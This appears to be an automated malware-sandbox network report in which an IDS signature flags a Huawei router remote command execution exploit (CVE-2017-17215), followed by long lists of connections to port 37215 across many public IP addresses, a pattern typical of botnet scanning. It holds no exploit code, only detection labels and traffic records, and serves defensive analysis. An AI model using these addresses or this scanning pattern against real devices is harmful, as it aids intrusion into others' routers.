Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:60974 -> 156.247.23.75:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 107.151.219.169 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 49266
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 42072
Source: unknown	Network traffic detected: HTTP traffic on port 45318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58538
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 60096
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 37126
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 38656
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51448
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215

Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 186.109.143.59:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 94.34.38.179:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.79.180.180:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.181.121.88:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 121.96.196.63:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 222.130.137.198:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.65.152.81:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 94.107.109.233:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.0.253.89:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 92.65.3.156:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.124.138.157:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.32.111.211:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.79.4.171:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.111.83.23:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.26.65.149:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.172.25.165:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.192.133.17:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.35.222.14:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.140.174.96:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.55.171.158:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 102.98.126.214:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 160.14.79.123:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.38.94.147:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.161.160.207:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.21.102.112:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 92.126.106.215:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.84.225.52:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 160.189.167.180:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.190.233.219:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.130.141.155:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.175.190.75:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.213.149.200:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.186.211.200:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.21.69.0:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 121.96.120.146:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 196.194.129.84:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.16.236.98:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.171.108.99:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.59.40.35:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.152.145.237:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.26.185.211:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.180.246.92:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.42.89.197:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.132.144.88:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.173.192.88:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.230.195.83:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 120.7.68.221:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 45.170.255.123:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.79.165.17:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.75.242.82:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.33.183.82:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.174.181.204:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.253.72.240:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.32.30.77:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 186.5.96.169:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 120.4.45.192:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.85.240.86:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 121.237.7.79:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 181.238.184.145:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.110.202.117:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.10.6.146:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.242.244.122:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.161.223.179:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.17.106.32:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.52.240.5:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 157.116.166.84:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 122.73.39.134:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 107.151.219.169:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 181.210.199.186:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.81.217.132:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.27.75.100:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.15.134.159:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.129.112.15:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.174.210.37:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 122.179.183.191:37215
